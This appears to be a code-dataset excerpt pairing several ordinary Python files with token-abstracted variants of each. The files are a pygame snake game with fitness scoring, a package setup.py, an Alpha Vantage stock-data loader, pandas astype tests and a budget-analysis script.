"<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n <docstring token>\n <function token>\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n <function token>\n <function token>\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n <docstring token>\n <function token>\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n <function token>\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n <function token>\n <function token>\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n <docstring token>\n <function token>\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n <function token>\n <function token>\n <function token>\n <function token>\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n<code token>\n<assignment token>\n<code token>\n"
] | false |
9,970 |
e0f7837731520ad76ca91d78c20327d1d9bb6d4f
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Created on 2021.03.18
setup for package.
@author: zoharslong
"""
from setuptools import setup, find_packages
from os.path import join as os_join, abspath as os_abspath, dirname as os_dirname
here = os_abspath(os_dirname(__file__))
with open(os_join(here, 'README.md')) as f:
README = f.read()
setup(
name="pyzohar",
version="0.1.11",
author="zoharslong",
author_email="[email protected]",
description="a private package on data pre-processing.",
long_description=README,
url="https://www.xzzsmeadow.com/",
license="MIT",
classifiers=[
'Development Status :: 3 - Alpha', # {3:Alpha, 4:Beta, 5:Production/Stable}
'Intended Audience :: Developers',
'Topic :: Software Development :: Build Tools',
'License :: OSI Approved :: MIT License',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.6',
'Programming Language :: Python :: 3.7',
'Programming Language :: Python :: 3.8',
'Programming Language :: Python :: 3.9',
],
packages=find_packages(),
keywords='data pre-processing',
python_requires='>=3',
install_requires=[
'numpy>=1.18.1',
'pandas>=1.0.1',
'pymongo>=3.9.0',
'pymysql>=0.9.3',
'fake-useragent>=0.1.11',
'requests>=2.22.0',
'openpyxl>=3.0.3', # excel files resolving
'urllib3>=1.25.8', # some error type of http requests
# 'matplotlib>=3.1.3', # for sub_slt_mdl.mdz
# 'sklearn>=0.22.1', # for sub_slt_mdl.mdz
# 'seaborn>=0.10.0', # for sub_slt_mdl.mdz
# 'factor_analyzer>=0.3.2', # for sub_slt_mdl.mdz
# 'joblib>=0.14.1', # for sub_slt_mdl.mdz
# 'python-pptx>=0.6.19', # for sub_slt_ppt.ppz
],
package_data={'pyzohar': ['samples/*.*']},
include_package_data=True,
)
|
[
"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 2021.03.18\nsetup for package.\n@author: zoharslong\n\"\"\"\nfrom setuptools import setup, find_packages\nfrom os.path import join as os_join, abspath as os_abspath, dirname as os_dirname\n\nhere = os_abspath(os_dirname(__file__))\nwith open(os_join(here, 'README.md')) as f:\n README = f.read()\n\nsetup(\n name=\"pyzohar\",\n version=\"0.1.11\",\n author=\"zoharslong\",\n author_email=\"[email protected]\",\n description=\"a private package on data pre-processing.\",\n long_description=README,\n url=\"https://www.xzzsmeadow.com/\",\n license=\"MIT\",\n classifiers=[\n 'Development Status :: 3 - Alpha', # {3:Alpha, 4:Beta, 5:Production/Stable}\n 'Intended Audience :: Developers',\n 'Topic :: Software Development :: Build Tools',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9',\n ],\n packages=find_packages(),\n keywords='data pre-processing',\n python_requires='>=3',\n install_requires=[\n 'numpy>=1.18.1',\n 'pandas>=1.0.1',\n 'pymongo>=3.9.0',\n 'pymysql>=0.9.3',\n 'fake-useragent>=0.1.11',\n 'requests>=2.22.0',\n 'openpyxl>=3.0.3', # excel files resolving\n 'urllib3>=1.25.8', # some error type of http requests\n # 'matplotlib>=3.1.3', # for sub_slt_mdl.mdz\n # 'sklearn>=0.22.1', # for sub_slt_mdl.mdz\n # 'seaborn>=0.10.0', # for sub_slt_mdl.mdz\n # 'factor_analyzer>=0.3.2', # for sub_slt_mdl.mdz\n # 'joblib>=0.14.1', # for sub_slt_mdl.mdz\n # 'python-pptx>=0.6.19', # for sub_slt_ppt.ppz\n ],\n package_data={'pyzohar': ['samples/*.*']},\n include_package_data=True,\n)\n",
"<docstring token>\nfrom setuptools import setup, find_packages\nfrom os.path import join as os_join, abspath as os_abspath, dirname as os_dirname\nhere = os_abspath(os_dirname(__file__))\nwith open(os_join(here, 'README.md')) as f:\n README = f.read()\nsetup(name='pyzohar', version='0.1.11', author='zoharslong', author_email=\n '[email protected]', description=\n 'a private package on data pre-processing.', long_description=README,\n url='https://www.xzzsmeadow.com/', license='MIT', classifiers=[\n 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers',\n 'Topic :: Software Development :: Build Tools',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9'], packages=find_packages(),\n keywords='data pre-processing', python_requires='>=3', install_requires\n =['numpy>=1.18.1', 'pandas>=1.0.1', 'pymongo>=3.9.0', 'pymysql>=0.9.3',\n 'fake-useragent>=0.1.11', 'requests>=2.22.0', 'openpyxl>=3.0.3',\n 'urllib3>=1.25.8'], package_data={'pyzohar': ['samples/*.*']},\n include_package_data=True)\n",
"<docstring token>\n<import token>\nhere = os_abspath(os_dirname(__file__))\nwith open(os_join(here, 'README.md')) as f:\n README = f.read()\nsetup(name='pyzohar', version='0.1.11', author='zoharslong', author_email=\n '[email protected]', description=\n 'a private package on data pre-processing.', long_description=README,\n url='https://www.xzzsmeadow.com/', license='MIT', classifiers=[\n 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers',\n 'Topic :: Software Development :: Build Tools',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9'], packages=find_packages(),\n keywords='data pre-processing', python_requires='>=3', install_requires\n =['numpy>=1.18.1', 'pandas>=1.0.1', 'pymongo>=3.9.0', 'pymysql>=0.9.3',\n 'fake-useragent>=0.1.11', 'requests>=2.22.0', 'openpyxl>=3.0.3',\n 'urllib3>=1.25.8'], package_data={'pyzohar': ['samples/*.*']},\n include_package_data=True)\n",
"<docstring token>\n<import token>\n<assignment token>\nwith open(os_join(here, 'README.md')) as f:\n README = f.read()\nsetup(name='pyzohar', version='0.1.11', author='zoharslong', author_email=\n '[email protected]', description=\n 'a private package on data pre-processing.', long_description=README,\n url='https://www.xzzsmeadow.com/', license='MIT', classifiers=[\n 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers',\n 'Topic :: Software Development :: Build Tools',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9'], packages=find_packages(),\n keywords='data pre-processing', python_requires='>=3', install_requires\n =['numpy>=1.18.1', 'pandas>=1.0.1', 'pymongo>=3.9.0', 'pymysql>=0.9.3',\n 'fake-useragent>=0.1.11', 'requests>=2.22.0', 'openpyxl>=3.0.3',\n 'urllib3>=1.25.8'], package_data={'pyzohar': ['samples/*.*']},\n include_package_data=True)\n",
"<docstring token>\n<import token>\n<assignment token>\n<code token>\n"
] | false |
9,971 |
3c8e6a93c4d5616b9199cf473d298bfa2dc191af
|
import json
import os
import time
import urllib.request
import pandas as pd
from lib.db.dbutils import (
check_blacklisted,
check_ticker_exists,
get_db,
update_blacklisted,
)
def get_data(url, delay=20):
while True:
df = json.loads(urllib.request.urlopen(url).read())
if df.get("Note", 0) == 0:
break
time.sleep(20)
return df
def grab_a_ticker(symbol="MSFT", apiKey=None):
if apiKey is None:
apiKey = os.environ.get("API_KEY")
# Check if ticker already exists in the database
if not check_ticker_exists(symbol) and not check_blacklisted(symbol):
requestUrl = r"https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={}&outputsize=full&apikey={}"
metaDataUrl = r"https://www.alphavantage.co/query?function=SYMBOL_SEARCH&keywords={}&apikey={}"
data = get_data(requestUrl.format(symbol, apiKey))
metaData = get_data(metaDataUrl.format(symbol, apiKey))
df = pd.DataFrame(
pd.DataFrame(data.get("Time Series (Daily)")).transpose()[
"4. close"
]
).reset_index()
df.columns = ["Date", "Price"]
df["Symbol"] = data["Meta Data"]["2. Symbol"]
if len(metaData["bestMatches"]) > 0:
met_df = (
pd.DataFrame(metaData["bestMatches"][0], index=[0])[
["1. symbol", "2. name", "3. type", "4. region"]
]
.reset_index()
.drop(["index"], axis=1)
)
met_df.columns = ["Symbol", "Name", "Type", "Region"]
else:
print(metaData.keys())
met_df = pd.DataFrame()
try:
assert met_df.iloc[0, :].Symbol == df.iloc[0, :].Symbol
df.to_sql(
"time_series", con=get_db(), if_exists="append", index=False
)
met_df.to_sql(
"stock_meta_data",
con=get_db(),
if_exists="append",
index=False,
)
except AssertionError as e:
print(
"'Couldn't get it right with assertion error: {}".format(
str(e)
)
)
update_blacklisted(symbol)
except Exception as e:
print(str(e))
update_blacklisted(symbol)
else:
print("Symbol {} already exists.".format(symbol))
|
[
"import json\nimport os\nimport time\nimport urllib.request\n\nimport pandas as pd\n\nfrom lib.db.dbutils import (\n check_blacklisted,\n check_ticker_exists,\n get_db,\n update_blacklisted,\n)\n\n\ndef get_data(url, delay=20):\n while True:\n df = json.loads(urllib.request.urlopen(url).read())\n if df.get(\"Note\", 0) == 0:\n break\n time.sleep(20)\n return df\n\n\ndef grab_a_ticker(symbol=\"MSFT\", apiKey=None):\n if apiKey is None:\n apiKey = os.environ.get(\"API_KEY\")\n # Check if ticker already exists in the database\n if not check_ticker_exists(symbol) and not check_blacklisted(symbol):\n requestUrl = r\"https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={}&outputsize=full&apikey={}\"\n metaDataUrl = r\"https://www.alphavantage.co/query?function=SYMBOL_SEARCH&keywords={}&apikey={}\"\n data = get_data(requestUrl.format(symbol, apiKey))\n metaData = get_data(metaDataUrl.format(symbol, apiKey))\n df = pd.DataFrame(\n pd.DataFrame(data.get(\"Time Series (Daily)\")).transpose()[\n \"4. close\"\n ]\n ).reset_index()\n\n df.columns = [\"Date\", \"Price\"]\n df[\"Symbol\"] = data[\"Meta Data\"][\"2. Symbol\"]\n if len(metaData[\"bestMatches\"]) > 0:\n met_df = (\n pd.DataFrame(metaData[\"bestMatches\"][0], index=[0])[\n [\"1. symbol\", \"2. name\", \"3. type\", \"4. region\"]\n ]\n .reset_index()\n .drop([\"index\"], axis=1)\n )\n met_df.columns = [\"Symbol\", \"Name\", \"Type\", \"Region\"]\n else:\n print(metaData.keys())\n met_df = pd.DataFrame()\n\n try:\n assert met_df.iloc[0, :].Symbol == df.iloc[0, :].Symbol\n df.to_sql(\n \"time_series\", con=get_db(), if_exists=\"append\", index=False\n )\n met_df.to_sql(\n \"stock_meta_data\",\n con=get_db(),\n if_exists=\"append\",\n index=False,\n )\n except AssertionError as e:\n print(\n \"'Couldn't get it right with assertion error: {}\".format(\n str(e)\n )\n )\n update_blacklisted(symbol)\n except Exception as e:\n print(str(e))\n update_blacklisted(symbol)\n else:\n print(\"Symbol {} already exists.\".format(symbol))\n",
"import json\nimport os\nimport time\nimport urllib.request\nimport pandas as pd\nfrom lib.db.dbutils import check_blacklisted, check_ticker_exists, get_db, update_blacklisted\n\n\ndef get_data(url, delay=20):\n while True:\n df = json.loads(urllib.request.urlopen(url).read())\n if df.get('Note', 0) == 0:\n break\n time.sleep(20)\n return df\n\n\ndef grab_a_ticker(symbol='MSFT', apiKey=None):\n if apiKey is None:\n apiKey = os.environ.get('API_KEY')\n if not check_ticker_exists(symbol) and not check_blacklisted(symbol):\n requestUrl = (\n 'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={}&outputsize=full&apikey={}'\n )\n metaDataUrl = (\n 'https://www.alphavantage.co/query?function=SYMBOL_SEARCH&keywords={}&apikey={}'\n )\n data = get_data(requestUrl.format(symbol, apiKey))\n metaData = get_data(metaDataUrl.format(symbol, apiKey))\n df = pd.DataFrame(pd.DataFrame(data.get('Time Series (Daily)')).\n transpose()['4. close']).reset_index()\n df.columns = ['Date', 'Price']\n df['Symbol'] = data['Meta Data']['2. Symbol']\n if len(metaData['bestMatches']) > 0:\n met_df = pd.DataFrame(metaData['bestMatches'][0], index=[0])[[\n '1. symbol', '2. name', '3. type', '4. region']].reset_index(\n ).drop(['index'], axis=1)\n met_df.columns = ['Symbol', 'Name', 'Type', 'Region']\n else:\n print(metaData.keys())\n met_df = pd.DataFrame()\n try:\n assert met_df.iloc[0, :].Symbol == df.iloc[0, :].Symbol\n df.to_sql('time_series', con=get_db(), if_exists='append',\n index=False)\n met_df.to_sql('stock_meta_data', con=get_db(), if_exists=\n 'append', index=False)\n except AssertionError as e:\n print(\"'Couldn't get it right with assertion error: {}\".format(\n str(e)))\n update_blacklisted(symbol)\n except Exception as e:\n print(str(e))\n update_blacklisted(symbol)\n else:\n print('Symbol {} already exists.'.format(symbol))\n",
"<import token>\n\n\ndef get_data(url, delay=20):\n while True:\n df = json.loads(urllib.request.urlopen(url).read())\n if df.get('Note', 0) == 0:\n break\n time.sleep(20)\n return df\n\n\ndef grab_a_ticker(symbol='MSFT', apiKey=None):\n if apiKey is None:\n apiKey = os.environ.get('API_KEY')\n if not check_ticker_exists(symbol) and not check_blacklisted(symbol):\n requestUrl = (\n 'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={}&outputsize=full&apikey={}'\n )\n metaDataUrl = (\n 'https://www.alphavantage.co/query?function=SYMBOL_SEARCH&keywords={}&apikey={}'\n )\n data = get_data(requestUrl.format(symbol, apiKey))\n metaData = get_data(metaDataUrl.format(symbol, apiKey))\n df = pd.DataFrame(pd.DataFrame(data.get('Time Series (Daily)')).\n transpose()['4. close']).reset_index()\n df.columns = ['Date', 'Price']\n df['Symbol'] = data['Meta Data']['2. Symbol']\n if len(metaData['bestMatches']) > 0:\n met_df = pd.DataFrame(metaData['bestMatches'][0], index=[0])[[\n '1. symbol', '2. name', '3. type', '4. region']].reset_index(\n ).drop(['index'], axis=1)\n met_df.columns = ['Symbol', 'Name', 'Type', 'Region']\n else:\n print(metaData.keys())\n met_df = pd.DataFrame()\n try:\n assert met_df.iloc[0, :].Symbol == df.iloc[0, :].Symbol\n df.to_sql('time_series', con=get_db(), if_exists='append',\n index=False)\n met_df.to_sql('stock_meta_data', con=get_db(), if_exists=\n 'append', index=False)\n except AssertionError as e:\n print(\"'Couldn't get it right with assertion error: {}\".format(\n str(e)))\n update_blacklisted(symbol)\n except Exception as e:\n print(str(e))\n update_blacklisted(symbol)\n else:\n print('Symbol {} already exists.'.format(symbol))\n",
"<import token>\n<function token>\n\n\ndef grab_a_ticker(symbol='MSFT', apiKey=None):\n if apiKey is None:\n apiKey = os.environ.get('API_KEY')\n if not check_ticker_exists(symbol) and not check_blacklisted(symbol):\n requestUrl = (\n 'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={}&outputsize=full&apikey={}'\n )\n metaDataUrl = (\n 'https://www.alphavantage.co/query?function=SYMBOL_SEARCH&keywords={}&apikey={}'\n )\n data = get_data(requestUrl.format(symbol, apiKey))\n metaData = get_data(metaDataUrl.format(symbol, apiKey))\n df = pd.DataFrame(pd.DataFrame(data.get('Time Series (Daily)')).\n transpose()['4. close']).reset_index()\n df.columns = ['Date', 'Price']\n df['Symbol'] = data['Meta Data']['2. Symbol']\n if len(metaData['bestMatches']) > 0:\n met_df = pd.DataFrame(metaData['bestMatches'][0], index=[0])[[\n '1. symbol', '2. name', '3. type', '4. region']].reset_index(\n ).drop(['index'], axis=1)\n met_df.columns = ['Symbol', 'Name', 'Type', 'Region']\n else:\n print(metaData.keys())\n met_df = pd.DataFrame()\n try:\n assert met_df.iloc[0, :].Symbol == df.iloc[0, :].Symbol\n df.to_sql('time_series', con=get_db(), if_exists='append',\n index=False)\n met_df.to_sql('stock_meta_data', con=get_db(), if_exists=\n 'append', index=False)\n except AssertionError as e:\n print(\"'Couldn't get it right with assertion error: {}\".format(\n str(e)))\n update_blacklisted(symbol)\n except Exception as e:\n print(str(e))\n update_blacklisted(symbol)\n else:\n print('Symbol {} already exists.'.format(symbol))\n",
"<import token>\n<function token>\n<function token>\n"
] | false |
9,972 |
13b2fea09f5a4300563dd8870fe1841b47756b36
|
import pytest
from pandas import (
Index,
NaT,
)
import pandas._testing as tm
def test_astype_str_from_bytes():
# https://github.com/pandas-dev/pandas/issues/38607
idx = Index(["あ", b"a"], dtype="object")
result = idx.astype(str)
expected = Index(["あ", "a"], dtype="object")
tm.assert_index_equal(result, expected)
def test_astype_invalid_nas_to_tdt64_raises():
# GH#45722 don't cast np.datetime64 NaTs to timedelta64 NaT
idx = Index([NaT.asm8] * 2, dtype=object)
msg = r"Cannot cast Index to dtype timedelta64\[ns\]"
with pytest.raises(TypeError, match=msg):
idx.astype("m8[ns]")
|
[
"import pytest\n\nfrom pandas import (\n Index,\n NaT,\n)\nimport pandas._testing as tm\n\n\ndef test_astype_str_from_bytes():\n # https://github.com/pandas-dev/pandas/issues/38607\n idx = Index([\"あ\", b\"a\"], dtype=\"object\")\n result = idx.astype(str)\n expected = Index([\"あ\", \"a\"], dtype=\"object\")\n tm.assert_index_equal(result, expected)\n\n\ndef test_astype_invalid_nas_to_tdt64_raises():\n # GH#45722 don't cast np.datetime64 NaTs to timedelta64 NaT\n idx = Index([NaT.asm8] * 2, dtype=object)\n\n msg = r\"Cannot cast Index to dtype timedelta64\\[ns\\]\"\n with pytest.raises(TypeError, match=msg):\n idx.astype(\"m8[ns]\")\n",
"import pytest\nfrom pandas import Index, NaT\nimport pandas._testing as tm\n\n\ndef test_astype_str_from_bytes():\n idx = Index(['あ', b'a'], dtype='object')\n result = idx.astype(str)\n expected = Index(['あ', 'a'], dtype='object')\n tm.assert_index_equal(result, expected)\n\n\ndef test_astype_invalid_nas_to_tdt64_raises():\n idx = Index([NaT.asm8] * 2, dtype=object)\n msg = 'Cannot cast Index to dtype timedelta64\\\\[ns\\\\]'\n with pytest.raises(TypeError, match=msg):\n idx.astype('m8[ns]')\n",
"<import token>\n\n\ndef test_astype_str_from_bytes():\n idx = Index(['あ', b'a'], dtype='object')\n result = idx.astype(str)\n expected = Index(['あ', 'a'], dtype='object')\n tm.assert_index_equal(result, expected)\n\n\ndef test_astype_invalid_nas_to_tdt64_raises():\n idx = Index([NaT.asm8] * 2, dtype=object)\n msg = 'Cannot cast Index to dtype timedelta64\\\\[ns\\\\]'\n with pytest.raises(TypeError, match=msg):\n idx.astype('m8[ns]')\n",
"<import token>\n<function token>\n\n\ndef test_astype_invalid_nas_to_tdt64_raises():\n idx = Index([NaT.asm8] * 2, dtype=object)\n msg = 'Cannot cast Index to dtype timedelta64\\\\[ns\\\\]'\n with pytest.raises(TypeError, match=msg):\n idx.astype('m8[ns]')\n",
"<import token>\n<function token>\n<function token>\n"
] | false |
9,973 |
1ad694c68ef264c6fbba4f4b9c069f22818d2816
|
# Dependencies
import pandas as pd
# Load in data file from resources
bank_data = "Resources/budget_data.csv"
# Read and display with pandas
bank_df = pd.read_csv(bank_data)
# Find the total number of months included in the dataset
total_months = bank_df["Date"].count()
# Find the total net amount of "Profit/Losses" over the entire period
net_end = bank_df["Profit/Losses"].sum()
# Create a new column that displays profit or loss between months
bank_df["Change"] = bank_df["Profit/Losses"].diff()
# Find the average change in "Profit/Losses" between months over the entire period
average_change = bank_df["Change"].mean()
# Find the greatest increase in profits (date and amount) over the entire period
greatest_increase = bank_df["Change"].max()
greatest_increase_month = bank_df.loc[bank_df["Change"] == greatest_increase, :]
# Find the greatest decrease in losses (date and amount) over the entire period
greatest_decrease = bank_df["Change"].min()
greatest_decrease_month = bank_df.loc[bank_df["Change"] == greatest_decrease, :]
# Print financial analysis
financial_analysis = (print("Financial Analysis"), print("----------------------------"),
print(f'Total Months: {total_months}'), print(f'Total: {net_end}'),
print(f'Average Change: ${round(average_change)}'),
print(f'Greatest Increase in Profits:'),
print(str(greatest_increase_month)),
print(f'Greatest Decrease in Profits:'),
print(greatest_decrease_month))
# Export to .txt
output = open("output.txt", "w")
line1 = "Financial Analysis"
line2 = "---------------------"
line3 = str(f'Total Months: {total_months}')
line4 = str(f'Total: {net_end}')
line5 = str(f'Average Change: ${average_change}')
line6 = str(f'Greatest Increase in Profits: {greatest_increase_month}')
line7 = str(f'Greatest Decrease in Profits: {greatest_decrease_month}')
output.write('{}\n{}\n{}\n{}\n{}\n{}\n{}\n'.format(line1,line2,line3,line4,line5,line6,line7))
|
[
"# Dependencies\nimport pandas as pd\n\n# Load in data file from resources\nbank_data = \"Resources/budget_data.csv\"\n\n# Read and display with pandas\nbank_df = pd.read_csv(bank_data)\n\n# Find the total number of months included in the dataset\ntotal_months = bank_df[\"Date\"].count()\n\n# Find the total net amount of \"Profit/Losses\" over the entire period\nnet_end = bank_df[\"Profit/Losses\"].sum()\n\n# Create a new column that displays profit or loss between months\nbank_df[\"Change\"] = bank_df[\"Profit/Losses\"].diff()\n\n# Find the average change in \"Profit/Losses\" between months over the entire period\naverage_change = bank_df[\"Change\"].mean()\n\n# Find the greatest increase in profits (date and amount) over the entire period\ngreatest_increase = bank_df[\"Change\"].max()\ngreatest_increase_month = bank_df.loc[bank_df[\"Change\"] == greatest_increase, :]\n\n# Find the greatest decrease in losses (date and amount) over the entire period\ngreatest_decrease = bank_df[\"Change\"].min()\ngreatest_decrease_month = bank_df.loc[bank_df[\"Change\"] == greatest_decrease, :]\n\n# Print financial analysis\nfinancial_analysis = (print(\"Financial Analysis\"), print(\"----------------------------\"), \nprint(f'Total Months: {total_months}'), print(f'Total: {net_end}'), \nprint(f'Average Change: ${round(average_change)}'), \nprint(f'Greatest Increase in Profits:'), \nprint(str(greatest_increase_month)),\nprint(f'Greatest Decrease in Profits:'), \nprint(greatest_decrease_month))\n\n# Export to .txt\noutput = open(\"output.txt\", \"w\")\n\nline1 = \"Financial Analysis\"\nline2 = \"---------------------\"\nline3 = str(f'Total Months: {total_months}')\nline4 = str(f'Total: {net_end}')\nline5 = str(f'Average Change: ${average_change}')\nline6 = str(f'Greatest Increase in Profits: {greatest_increase_month}')\nline7 = str(f'Greatest Decrease in Profits: {greatest_decrease_month}')\noutput.write('{}\\n{}\\n{}\\n{}\\n{}\\n{}\\n{}\\n'.format(line1,line2,line3,line4,line5,line6,line7))",
"import pandas as pd\nbank_data = 'Resources/budget_data.csv'\nbank_df = pd.read_csv(bank_data)\ntotal_months = bank_df['Date'].count()\nnet_end = bank_df['Profit/Losses'].sum()\nbank_df['Change'] = bank_df['Profit/Losses'].diff()\naverage_change = bank_df['Change'].mean()\ngreatest_increase = bank_df['Change'].max()\ngreatest_increase_month = bank_df.loc[bank_df['Change'] == greatest_increase, :\n ]\ngreatest_decrease = bank_df['Change'].min()\ngreatest_decrease_month = bank_df.loc[bank_df['Change'] == greatest_decrease, :\n ]\nfinancial_analysis = print('Financial Analysis'), print(\n '----------------------------'), print(f'Total Months: {total_months}'\n ), print(f'Total: {net_end}'), print(\n f'Average Change: ${round(average_change)}'), print(\n f'Greatest Increase in Profits:'), print(str(greatest_increase_month)\n ), print(f'Greatest Decrease in Profits:'), print(greatest_decrease_month)\noutput = open('output.txt', 'w')\nline1 = 'Financial Analysis'\nline2 = '---------------------'\nline3 = str(f'Total Months: {total_months}')\nline4 = str(f'Total: {net_end}')\nline5 = str(f'Average Change: ${average_change}')\nline6 = str(f'Greatest Increase in Profits: {greatest_increase_month}')\nline7 = str(f'Greatest Decrease in Profits: {greatest_decrease_month}')\noutput.write(\"\"\"{}\n{}\n{}\n{}\n{}\n{}\n{}\n\"\"\".format(line1, line2, line3, line4,\n line5, line6, line7))\n",
"<import token>\nbank_data = 'Resources/budget_data.csv'\nbank_df = pd.read_csv(bank_data)\ntotal_months = bank_df['Date'].count()\nnet_end = bank_df['Profit/Losses'].sum()\nbank_df['Change'] = bank_df['Profit/Losses'].diff()\naverage_change = bank_df['Change'].mean()\ngreatest_increase = bank_df['Change'].max()\ngreatest_increase_month = bank_df.loc[bank_df['Change'] == greatest_increase, :\n ]\ngreatest_decrease = bank_df['Change'].min()\ngreatest_decrease_month = bank_df.loc[bank_df['Change'] == greatest_decrease, :\n ]\nfinancial_analysis = print('Financial Analysis'), print(\n '----------------------------'), print(f'Total Months: {total_months}'\n ), print(f'Total: {net_end}'), print(\n f'Average Change: ${round(average_change)}'), print(\n f'Greatest Increase in Profits:'), print(str(greatest_increase_month)\n ), print(f'Greatest Decrease in Profits:'), print(greatest_decrease_month)\noutput = open('output.txt', 'w')\nline1 = 'Financial Analysis'\nline2 = '---------------------'\nline3 = str(f'Total Months: {total_months}')\nline4 = str(f'Total: {net_end}')\nline5 = str(f'Average Change: ${average_change}')\nline6 = str(f'Greatest Increase in Profits: {greatest_increase_month}')\nline7 = str(f'Greatest Decrease in Profits: {greatest_decrease_month}')\noutput.write(\"\"\"{}\n{}\n{}\n{}\n{}\n{}\n{}\n\"\"\".format(line1, line2, line3, line4,\n line5, line6, line7))\n",
